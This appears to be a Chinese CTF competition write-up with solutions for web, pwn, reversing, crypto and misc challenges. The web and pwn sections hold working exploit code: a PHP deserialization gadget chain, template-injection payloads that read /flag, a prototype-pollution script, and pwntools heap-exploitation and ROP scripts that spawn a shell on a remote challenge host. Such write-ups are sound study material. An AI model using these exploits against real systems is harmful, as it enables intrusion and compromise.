
文章目录
Web
easyphp
?a=call_user_func&b=pcntl_wait
babyunserialize
www.zip
源码泄露,很像wmctf的webweb,但是官方wp的链没法用,因为源码相对于原题修改了些地方,网上找了下,找到了这个博客http://blog.ccreater.top/2020/08/04/wmctf2020/
- 里面有一条能用的链,用它来运行phpinfo
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"phpinfo"],
$adhoc=["16"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;
}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}
$props=["quotekey"=>"phpinfo"],
$adhoc=["16"=>["expr"=>""]],
16代表打印环境变量

rceme
- 列根目录
{if:aaa)echo ls /
;//}{end if}
- 读flag
{if:aaa)echo cat /flag
;//}{end if}

LittleGame
set-value原型链污染
- exp
import requests
url = "http://ip:port/"
session = requests.session()
//重生点
session.get(url+"SpawnPoint")
//后门
session.post(url+"Privilege",data={"NewAttributeKey":"__proto__.jylsec","NewAttributeValue":"jylsec"})
//拿flag
r = session.post(url+"DeveloperControlPanel",data={"key":"jylsec","password":"jylsec"})
print(r.text)
easytrick
<?php
class trick{
public $trick1="INF";
public $trick2=INF;
}
echo urlencode(serialize(new trick()));
Pwn
babyjsc
jsc没给diff。
审计server.py发现存在input()函数
input()最终会调用eval再次执行一遍,并且程序import os了,可以直接rce。
os.system('/bin/sh')
nofree
程序调用strdup来申请堆,但strdup分配的chunk大小是根据字符串长度进行,在给size[i]赋值时候没考虑这点,导致存储的size可以大于实际chunk size,从而造成堆溢出。
堆溢出修改topchunk的size。
之后申请topchunk的大小,会减少两个0x10的chunk块后,如果size大小在fastbin大小内,则会被free进入fastbin链表。
此时可以劫持fastbin的fd来制造fastbin attack。
提前在bss上伪造好头部后就可以劫持heap列表后实现无限次任意地址写。
libc的leak通过修改strdup为printf。之后add(content)为printf(content),直接格式化字符串来leak栈上残留的libc地址。
最终修改strdup为system来getshell。
from pwn import *
def add(idx, size, content='a'):
r.sendlineafter("choice>> ", "1")
r.sendlineafter("idx: ", str(idx))
r.sendlineafter("size: ", str(size))
r.sendafter("content: ", content)
def edit(idx, content):
r.sendlineafter("choice>> ", "2")
r.sendlineafter("idx: ", str(idx))
r.sendafter("content: ", content)
def gd():
gdb.attach(r)
pause()
#r = process('./nofree')
libc=ELF('./libc-2.23.so')
elf=ELF('./nofree')
r = remote('101.200.53.148',12301)
for i in range(24):
add(0,0x90,'a'*0x90)
add(0, 0x90, 'a' * 0x50)
edit(0, 'a'*0x50 +p64(0)+ p64(0xa1))
add(1, 0x90, "a" * 0x90)
add(1, 0x81,)
edit(0, 'a'*0x50 +p64(0)+p64(0x81)+p64(0x6021D0))
add(2, 0x70, "a" * 0x70)
add(2, 0x70, "a" * 0x70)
edit(2, p64(elf.got['strdup']) + p64(0x100))
edit(2,p64(elf.plt['printf']))
add(0, 0x10, "%4$p\n")
r.recvuntil('0x')
leak = int(r.recv(12),16)
print hex(leak)
lbase=leak-0x5ED700
edit(2, p64(lbase + 0x453a0))
add(0, 0x10, "/bin/sh\x00")
r.interactive()
maj
程序无leak。存在free后没置零的问题。
直接double free测没有tcahce,推测为libc 2.23环境。
没有开pie的情况下直接劫持fastbin到bss段。
在add时候提前布置好头,一路分配后写头让chunk能分配到heap_list上。
unsorted bin attack把heap_list部分写上libc地址后,部分改区爆破stdout地址。
通过stdout来leak。
应该是1/16的概率,但似乎有点问题导致实际爆破下来概率低于理论概率。
当然可能是我脸黑
from pwn import *
#r=remote('101.200.53.148',15423)
def add(size,content=''):
r.sendlineafter('>>','1')
r.sendlineafter(' the question','80')
r.sendlineafter('______?',str(size))
r.sendlineafter('es_or_no?',content)
def free(idx):
r.sendlineafter('>>','2')
r.sendlineafter('ndex ?',str(idx))
def edit(idx,content):
r.sendlineafter('>>','4')
r.sendlineafter('ndex ?',str(idx))
r.sendafter('__new_content ?',content)
def gd(cmd=''):
gdb.attach(r)
pause()
libc=ELF('./libc-2.23.so')
while True:
try:
r=remote('101.200.53.148',15423)
add(0x100,'\x00'*0xf8+p64(0x71))#0
add(0x60)#1
add(0x71)#2
free(1)
edit(1,p64(0x000000000603260))
add(0x0)#3
add(0x60)#4
add(0x60)#5 hijack size
edit(5,p64(0x0)*11+p64(0x71))
free(1)
edit(1,p64(0x6032c0))
add(0x60)#6
add(0x60)#7 hijack heap list
free(0)
edit(0,p64(0)+p64(0x6032e0-0x10))
add(0x100)#8
edit(7,p64(0)*2+'\x20'+'\x76')
edit(0,p64(0x0FBAD1887) +p64(0)*3 + '\x88')
r.recvline()
print '1'
leak=u64(r.recv(8))
print 'leak '+hex(leak)
if(leak==0x2d2d2d0a656e6f64):
raise TypeError
libc_base=leak-libc.symbols['_IO_2_1_stdin_']
print 'libc_base '+hex(libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
edit(7,'/bin/sh\x00'+p64(0)+p64(free_hook))
edit(0,p64(libc_base+libc.symbols['system']))
free(7)
#gd()
r.interactive()
except:
r.close()
easybox
libc-2.23
漏洞点在于add时候会溢出一位,可以off by one。
跟maj基本一样的利用链。
存在off by one的情况下可以修改堆的size段来制造堆重叠。
从而可以劫持fastbin。
但是跟maj不同的是程序开启了pie。
所以直接劫持fastbin到stdout的上面。
位置末尾三位在0x5dd
通过分配出unsorted bin后来留下libc地址随后爆破一位劫持fastbin到stdout。
之后劫持fastbin到malloc_hook去执行onegadget。
from pwn import*
def add(index,size,content):
r.sendlineafter('>>>','1')
r.sendlineafter('idx:',str(index))
r.sendlineafter('len:',str(size))
r.sendafter('content:',content)
def free(index):
r.sendlineafter('>>>','2')
r.sendlineafter('idx:',str(index))
def gd():
gdb.attach(r)
pause()
while True:
try:
#r = process('./pwn')
r = remote('101.200.53.148',34521)
libc =ELF('./libc-2.23.so')
add(0,0x18,'a')
add(1,0x50,'a')
add(2,0x60,'a')
add(3,0x10,'a')
add(4,0x10,'a')
free(0)
add(0,0x18,'a'*0x18+'\xf1')
free(1)
free(2)
add(5,0x50,'a')
add(6,0x70,'\xdd\x45')
free(5)
add(5,0x58,'a'*0x58+'\x71')
add(7,0x60,'a')
add(8,0x60,'\x00'*0x33+p64(0x0FBAD1887) +p64(0)*3 + '\x88')
r.recvuntil('\n')
lbase = u64(r.recv(8)) - libc.sym['_IO_2_1_stdin_']
print 'libc:\t' + hex(lbase)
malloc_hook = lbase + libc.symbols['__malloc_hook']
#gd()
one = lbase + 0xF1207
free(6)
free(0)
add(0,0x18,'a'*0x18+'\xf1')
free(5)
add(1,0x50,'a')
add(5,0x70,p64(malloc_hook-0x23))
free(1)
add(1,0x58,'a'*0x58+'\x71')
add(9,0x60,'a')
add(10,0x60,'\x00'*0x13+p64(one))
r.interactive()
except:
r.close()
wow
跟rctf的bf很像//感觉就是那题的静态编译。
opcode对应如下:
@ pointer ++
# pointer --
^ val ++
| val --
& write
$ read
跟brainfuck的语法一样。c++静态编译。
漏洞点在于指针++时候先check有没有越界再++
导致了实际指针可以溢出一位,修改写入的string。
漏洞跟利用过程跟rctf的bf接近一模一样。
需要注意的是最后需要修复string。
from pwn import *
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
def run(code):
r.sendlineafter('code:',code)
while True:
try:
#r=remote('101.200.53.148',15324)
r=process('./wow')
py='^{@^}$'
run(py)
r.send(chr(0x10))
r.recvuntil('ne! your code: ')
leak=u64(r.recv(6).ljust(8,'\x00'))
assert(leak&0xff==0x10)
assert(leak>>40 ==0x7f)
print 'leak '+hex(leak)
esp=leak-0x4b8
print 'esp '+hex(esp)
r.recvuntil('continue?')
r.send('Y')
run('a'*0x10+'\x08'+'\x10'*0x10)
r.recvuntil('continue?')
r.send('Y')
run('a'*0x8+'\x00')
r.recvuntil('continue?')
r.send('Y')
run('a'*0x10+'\x48')
r.recvuntil('continue?')
r.send('Y')
tflag = leak + 0x138
mv1 = 0x524300
mv2 = 0x524310
mas = 0x417427
pd = 0x4047BA
ps = 0x407578
pdx = 0x40437F
psp = 0x405831
syscall = 0x52A725
rop = '\x00'*0x30
rop += p64(pd) + p64(tflag)
rop += p64(ps) + p64(0)
rop += p64(pdx) + p64(0)
rop += p64(mv2)
rop += p64(syscall)
rop += p64(pd) + p64(3)
rop += p64(ps) + p64(0)
rop += p64(mas)
rop += p64(ps) + p64(0x5D9B00)
rop += p64(pdx) + p64(0x30)
rop += p64(syscall)
rop += p64(pd) + p64(1)
rop += p64(ps) + p64(0x5D9B00)
rop += p64(pdx) + p64(0x30)
rop += p64(mv1)
rop += p64(syscall)
rop += './flag\x00'
run(rop)
r.recvuntil('continue?')
r.send('Y')
run(py)
r.send('\x20')
r.interactive()
p.send('N')
r.interactive()
except:
r.close()
Re
z3
很明显是矩阵,dump出数据直接解
# sage
flag = ''
tmp = [20247,40182,36315,36518,26921,39185,16546,12094,25270,19330,18540,16386,21207,11759,10460,25613,21135,24891,18305,27415,12855,10899,24927,20670,22926,18006,23345,12602,12304,26622,19807,22747,14233,24736,10064,14169,35155,28962,33273,21796,35185,14877]
M = matrix(ZZ, [
[12 , 53 , 6 , 34 , 58 , 36 , 1],
[83 , 85 , 12 , 73 , 27 , 96 , 52],
[78 , 53 , 24 , 36 , 86 , 25 , 46],
[39 , 78 , 52 , 9 , 62 , 37 , 84],
[23 , 6 , 14 , 74 , 48 , 12 , 83],
[27 , 85 , 92 , 42 , 48 , 15 , 72],
[4 , 6 , 3 , 67 , 0 , 26 , 68],
])
for i in range(0, len(tmp), 7):
X = M.solve_right(matrix(ZZ, 7, 1, tmp[i:i+7]))
for j in X.transpose()[0]:
flag += chr(j)
print(flag)
# flag{7e171d43-63b9-4e18-990e-6e14c2afe648}
hyperthreading
多线程反调试花指令

只有第一个创建的线程有操作
第二个单纯和标志位相加,再调试时标志位不为0
所以直接忽视
第三个创建的就是个死循环检测调试也不用管
第一个有指令重叠,调试即可
花指令不用管只需要调试
先(input[i]>>2)^(input[i]<<6)
然后xor 0x23
然后sleep让线程切换直接忽视
然后+ 0x23
最后比较
flag = ''
hape = [221, 91, 158, 29, 32, 158, 144, 145, 144, 144, 145, 146, 222, 139, 17, 209, 30, 158, 139, 81, 17, 80, 81, 139, 158, 93, 93, 17, 139, 144, 18, 145, 80, 18, 210, 145, 146, 30, 158, 144, 210, 159]
for i in range(len(hape)):
hape[i] -= 0x23
hape[i] &= 0xff
hape[i] ^= 0x23
hape[i] = ((hape[i] << 2) ^ (hape[i] >> 6)) & 0xff
flag += chr(hape[i])
print flag
#flag{a959951b-76ca-4784-add7-93583251ca92}
oplog
智能合约逆向
给的bytecode是合约创建的字节码,去除前面一段用于创建合约的字节码后,扔到反汇编网站:https://ethervm.io/decompile ,可以得到反汇编的solidity伪代码。
根据提供的abi复原一下函数名:
4byte | Function |
---|---|
0x890eba68 | flag() |
0x6ca5b5b0 | r1() |
0x0bcbbd21 | r2() |
0x8bf6e410 | r3() |
0x343943bd | x1() |
0x4ff13571 | x2() |
0xa3b78873 | x3() |
0x56b15fe3 | feistel(uint256,uint256,uint256) |
0xc4ee5c77 | calcx(uint256,uint256,uint256,uint256) |
0xa7ba732e | setflag(uint256) |
0x7059c7e0 | setr1(uint256) |
0x5e031f4a | setr2(uint256) |
0x6c3ce676 | setr3(uint256) |
把反汇编代码里的函数名都改一下,得到最终美化的伪代码:
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var0 = msg.data[0x00:0x20] >> 0xe0;
// var0: function signature
if (0x6ca5b5b0 > var0) {
if (var0 == 0x0bcbbd21) {
// Dispatch table entry for r2()
var var1 = 0x00dc;
var var2 = r2();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x343943bd) {
// Dispatch table entry for x1()
var1 = 0x00fa;
var2 = x1();
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = var2;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else if (var0 == 0x4ff13571) {
// Dispatch table entry for x2()
var1 = 0x0118;
var2 = x2();
var temp4 = memory[0x40:0x60];
memory[temp4:temp4 + 0x20] = var2;
var temp5 = memory[0x40:0x60];
return memory[temp5:temp5 + (temp4 + 0x20) - temp5];
} else if (var0 == 0x56b15fe3) {
// Dispatch table entry for 0x56b15fe3 feistel(uint256,uint256,uint256)
var1 = 0x016e;
var2 = 0x04;
var var3 = msg.data.length - var2;
if (var3 < 0x60) { revert(memory[0x00:0x00]); }
feistel(var2, var3);
stop();
} else if (var0 == 0x5e031f4a) {
// Dispatch table entry for 0x5e031f4a setr2(uint256)
var1 = 0x019c;
var2 = 0x04;
var3 = msg.data.length - var2;
if (var3 < 0x20) { revert(memory[0x00:0x00]); }
set_s2(var2, var3);
stop();
} else if (var0 == 0x6c3ce676) {
// Dispatch table entry for 0x6c3ce676 setr3(uint256)
var1 = 0x01ca;
var2 = 0x04;
var3 = msg.data.length - var2;
if (var3 < 0x20) { revert(memory[0x00:0x00]); }
set_s3(var2, var3);
stop();
} else { revert(memory[0x00:0x00]); }
} else if (0x8bf6e410 > var0) {
if (var0 == 0x6ca5b5b0) {
// Dispatch table entry for r1()
var1 = 0x01d4;
var2 = r1();
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = var2;
var temp7 = memory[0x40:0x60];
return memory[temp7:temp7 + (temp6 + 0x20) - temp7];
} else if (var0 == 0x7059c7e0) {
// Dispatch table entry for 0x7059c7e0 setr1(uint256)
var1 = 0x0216;
var2 = 0x04;
var3 = msg.data.length - var2; // 0x20
if (var3 < 0x20) { revert(memory[0x00:0x00]); }
set_s1(var2, var3);
stop();
} else if (var0 == 0x890eba68) {
// Dispatch table entry for flag()
var1 = 0x0220;
var2 = flag();
var temp8 = memory[0x40:0x60];
memory[temp8:temp8 + 0x20] = var2;
var temp9 = memory[0x40:0x60];
return memory[temp9:temp9 + (temp8 + 0x20) - temp9];
} else { revert(memory[0x00:0x00]); }
} else if (var0 == 0x8bf6e410) {
// Dispatch table entry for 0x8bf6e410 r3()
var1 = 0x023e;
var2 = r3();
var temp10 = memory[0x40:0x60];
memory[temp10:temp10 + 0x20] = var2;
var temp11 = memory[0x40:0x60];
return memory[temp11:temp11 + (temp10 + 0x20) - temp11];
} else if (var0 == 0xa3b78873) {
// Dispatch table entry for 0xa3b78873 x3()
var1 = 0x025c;
var2 = x3();
var temp12 = memory[0x40:0x60];
memory[temp12:temp12 + 0x20] = var2;
var temp13 = memory[0x40:0x60];
return memory[temp13:temp13 + (temp12 + 0x20) - temp13];
} else if (var0 == 0xa7ba732e) {
// Dispatch table entry for 0xa7ba732e setflag(uint256)
var1 = 0x029e;
var2 = 0x04;
var3 = msg.data.length - var2;
if (var3 < 0x20) { revert(memory[0x00:0x00]); }
set_flag(var2, var3);
stop();
} else if (var0 == 0xc4ee5c77) {
// Dispatch table entry for 0xc4ee5c77 calcx(uint256,uint256,uint256,uint256)
var1 = 0x02ea;
var2 = 0x04;
var3 = msg.data.length - var2;
if (var3 < 0x80) { revert(memory[0x00:0x00]); }
calc(var2, var3);
stop();
} else { revert(memory[0x00:0x00]); }
}
function feistel(var arg0, var arg1) {
var temp0 = arg0;
var temp1 = temp0 + 0x20;
arg0 = msg.data[temp0:temp0 + 0x20];
arg1 = msg.data[temp1:temp1 + 0x20];
var arg2 = msg.data[temp1 + 0x20:temp1 + 0x20 + 0x20];
var temp2 = storage[0x04] & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
var temp3 = arg0;
var temp4 = temp2 ~ (storage[0x04] & 0x555555555555555555555555555555555555) ~ temp3;
var temp5 = arg1;
var temp6 = temp4 ~ temp2 ~ temp5;
var temp7 = arg2;
storage[0x04] = temp6 ~ temp6 ~ temp4 ~ temp7;
var temp8 = storage[0x05] & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
var temp9 = temp8 ~ (storage[0x05] & 0x555555555555555555555555555555555555) ~ temp3;
var temp10 = temp9 ~ temp8 ~ temp5;
storage[0x05] = temp10 ~ temp10 ~ temp9 ~ temp7;
var temp11 = storage[0x06] & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
var temp12 = temp11 ~ (storage[0x06] & 0x555555555555555555555555555555555555) ~ temp3;
var temp13 = temp12 ~ temp11 ~ temp5;
storage[0x06] = temp13 ~ temp13 ~ temp12 ~ temp7;
}
function set_s2(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20];
arg1 = arg0;
var var0 = storage[0x00];
if (!arg1) { assert(); }
storage[0x02] = var0 % arg1;
}
function set_s3(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20];
arg1 = arg0;
var var0 = storage[0x00];
if (!arg1) { assert(); }
storage[0x03] = var0 % arg1;
}
function set_s1(var arg0, var arg1) { // 4, 0x20
r1 = msg.data[arg0:arg0 + 0x20];
arg1 = r1;
var var0 = storage[0x00];
if (!arg1) { assert(); }
storage[0x01] = var0 % arg1;
}
function set_flag(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20];
storage[0x00] = arg0;
}
function calc(var arg0, var arg1) {
var temp0 = arg0;
var temp1 = temp0 + 0x20;
arg0 = msg.data[temp0:temp0 + 0x20];
var temp2 = temp1 + 0x20;
arg1 = msg.data[temp1:temp1 + 0x20];
var arg2 = msg.data[temp2:temp2 + 0x20];
var arg3 = msg.data[temp2 + 0x20:temp2 + 0x20 + 0x20];
if (arg0 == 0x01) {
storage[0x04] = storage[0x01] * arg1 + storage[0x02] * arg2 + storage[0x03] * arg3;
goto label_04B9;
} else if (arg0 != 0x02) { // 0x03
storage[0x06] = storage[0x01] * arg1 + storage[0x02] * arg2 + storage[0x03] * arg3;
label_04B9:
return;
} else { // 0x02
storage[0x05] = storage[0x01] * arg1 + storage[0x02] * arg2 + storage[0x03] * arg3;
goto label_04B9;
}
}
function r2() returns (var r0) { return storage[0x02]; }
function x1() returns (var r0) { return storage[0x04]; }
function x2() returns (var r0) { return storage[0x05]; }
function r1() returns (var r0) { return storage[0x01]; }
function flag() returns (var r0) { return storage[0x00]; }
function r3() returns (var r0) { return storage[0x03]; }
function x3() returns (var r0) { return storage[0x06]; }
}
再根据提供的log文件,可以分析出具体的函数调用:
input:0x7059c7e00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9
# setr1(0x00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9)
input:0x5e031f4a00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
# setr2(0x00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b)
input:0x6c3ce67600000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef
# setr3(0x00000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef)
input:0xc4ee5c770000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000d06200000000000000000000000000000000000000000000000000000000000037b9000000000000000000000000000000000000000000000000000000000000cc13
result:x1 14678491206170330851881690558556870568208252
# calcx(0x0001, 0xd062, 0x37b9, 0xcc13)
input:0xc4ee5c770000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000a4fb000000000000000000000000000000000000000000000000000000000000a0a50000000000000000000000000000000000000000000000000000000000002fca
# calcx(0x0002, 0xa4fb, 0xa0a5, 0x2fca)
input:0xc4ee5c7700000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000008f9b0000000000000000000000000000000000000000000000000000000000009805000000000000000000000000000000000000000000000000000000000000a6a0
# calcx(0x0003, 0x8f9b, 0x9805, 0xa6a0)
input:0x56b15fe30000000000000000000000000000xxxxx...xxxxxxxx
# feistel(?, ??, ???)
result:
x1 2357997788534811140333166336809177915724020
x2 94024083436562980853861433269689272115769
x3 7686765725723381031146546660250331403246417
分别去逆每一个小函数,可以汇总出算法流程:
r1 = flag % 0x00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9
r2 = flag % 0x00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
r3 = flag % 0x00000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef
x1 = r1 * 0xd062 + r2 * 0x37b9 + r3 * 0xcc13 = 14678491206170330851881690558556870568208252
x2 = r1 * 0xa4fb + r2 * 0xa0a5 + r3 * 0x2fca
x3 = r1 * 0x8f9b + r2 * 0x9805 + r3 * 0xa6a0
---
tmp2 = x1 & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
tmp4 = tmp2 ~ (x1 & 0x555555555555555555555555555555555555) ~ ?
tmp6 = tmp4 ~ tmp2 ~ ??
x1 = tmp6 ~ tmp6 ~ tmp4 ~ ??? = 2357997788534811140333166336809177915724020
tmp8 = x2 & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
tmp9 = tmp8 ~ (x2 & 0x555555555555555555555555555555555555) ~ ?
tmp10 = tmp9 ~ tmp8 ~ ??
x2 = tmp10 ~ tmp10 ~ tmp9 ~ ??? = 94024083436562980853861433269689272115769
tmp11 = x3 & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
tmp12 = tmp11 ~ (x3 & 0x555555555555555555555555555555555555) ~ ?
tmp13 = tmp12 ~ tmp11 ~ ??
x3 = tmp13 ~ tmp13 ~ tmp12 ~ ??? = 7686765725723381031146546660250331403246417
其中~
本来以为是取反的,但是明显是一个二元操作符,观察opcode后发现是异或。
?, ??, ???
分别是传入feistel
的3个未知量。
稍微分析一下,就能看出来最后的feistel
实际上就是分别对x1, x2, x3
作运算:
(xi & (0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa + 0x555555555555555555555555555555555555))^ ? ^ ?? ^ ???
由于异或之前和异或之后的x1
均已知,所以可以求出? ^ ?? ^ ???
,进而反逆出异或之前的x2, x3
,然后解一个三元一次方程,再用中国剩余定理即可得到flag
# sage
pre_x1 = 14678491206170330851881690558556870568208252
aft_x1 = 2357997788534811140333166336809177915724020
aft_x2 = 94024083436562980853861433269689272115769
aft_x3 = 7686765725723381031146546660250331403246417
# ? ^ ?? ^ ???
xor = aft_x1 ^^ (pre_x1 & (0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+0x555555555555555555555555555555555555))
pre_x2 = (xor ^^ aft_x2) + 2^143
pre_x3 = (xor ^^ aft_x3) + 2^143
Y = matrix(ZZ, 3, 1, [pre_x1, pre_x2, pre_x3])
M = matrix(ZZ, [
[0xd062, 0x37b9, 0xcc13],
[0xa4fb, 0xa0a5, 0x2fca],
[0x8f9b, 0x9805, 0xa6a0]
])
R = M.solve_right(Y)
print(R)
r1 = R[0,0] # 6996321698335919971399548807299700961
r2 = R[1,0] # 315106591821413211674346201300746078726
r3 = R[2,0] # 187781518988542836371434673857311370092
n1 = 0x00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9
n2 = 0x00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
n3 = 0x00000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef
flag = CRT([r1, r2, r3], [n1, n2, n3])
print(bytes.fromhex(hex(flag)[2:]))
# b'flag{wuhan_v3r9_g009_s4y_w3jj_8}'
注意异或之后会把xi的最高位(第144位)给截断掉,所以在反逆x2, x3的时候要把这失去的最高位补回去(+ 2^143
)
Crypto
lfsr
线性反馈移位寄存器
需要求解mask
lfsr的每一bit输出,都可以看成是当前状态的一个线性函数:
$$
output = m_0s_0 + m1s1 + \cdots + m{99}s{99}
$$
$m_i$就是mask的每一位,有100个未知量,列100个方程即可求解。
sage解方程即可
N = 100
output = "0100110011101111011111011010100111001010010100001111110110111101011110011111010010010111011100110111011001100001010010011101101000110110000011111011110000010100001001000011001011011011011001111110101111001010011011100010011110101100100101111001011100011110111101001010000000100100000111100101100100100000100110001111110011100110101000110100011001110110000"[:200]
data = [[int(bit) for bit in output[j:j+N]] for j in range(N+1)]
M = matrix(GF(2), data[:N])
T = matrix(GF(2), data[-1])
sol = M.solve_left(T)
mask = ''.join(str(bit) for bit in sol[0][::-1])
print(int(mask, 2))
得到flag{856137228707110492246853478448}
bd
RSA的Boneh and Durfee Attack
网上找到的脚本:https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage
把脚本里的数据改一下,就可以跑出来d
d = 1485313191830359055093545745451584299495272920840463008756233
然后解密就可以得到flag{d3752538-90d0-c373-cfef-9247d3e16848}
Misc
电脑被黑
binwalk -e 分出一张图片和elf

发现是加密程序
图片显示flag被删除
ext3grep 恢复出

再解密即可
a = [0x44,0x2A,0x03,0xE5,0x29,0xA3,0xAF,0x62,0x05,0x31,0x4E,0xF3,0xD6,0xEB,0x90,0x66,0x24,0x5C,0xB7,0x92,0xF6,0xD7,0x4D,0x0B,0x6A,0x41,0xA3,0x85,0xEF,0x90,0x5A,0x7E,0x5B,0xEC,0xC1,0xF0,0xD4,0x61,0x12,0x12,0x45,0xEB,0xB8]
flag = ''
v4 = 34
v5 = 0
for i in range(len(a)):
flag += chr((v4^a[i])-v5)
v4 += 34
v4 &= 0xff
v5 = (v5+2)&0xf
print flag
#flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}
the_best_ctf_game
ida打开能找到分开的flag字样,用python去除下无关字符即可
a='''
................
f...............
................
........l.......
................
................
a...............
................
........g.......
................
................
{...............
................
........6.......
................
................
5...............
................
........e.......
................
................
0...............
................
........2.......
................
................
f...............
................
........2.......
................
................
6...............
................
........-.......
................
................
0...............
................
........d.......
................
................
6...............
................
........e.......
................
................
-...............
................
........4.......
................
................
6...............
................
........3.......
................
................
f...............
................
........-.......
................
................
b...............
................
........c.......
................
................
6...............
................
........3.......
................
................
-...............
................
........2.......
................
................
d...............
................
........f.......
................
................
7...............
................
........3.......
................
................
3...............
................
........e.......
................
................
4...............
................
........7.......
................
................
f...............
................
........b.......
................
................
e}..............
'''
a=a.replace('.','')
a=a.replace('\n','')
print a
签到

最新评论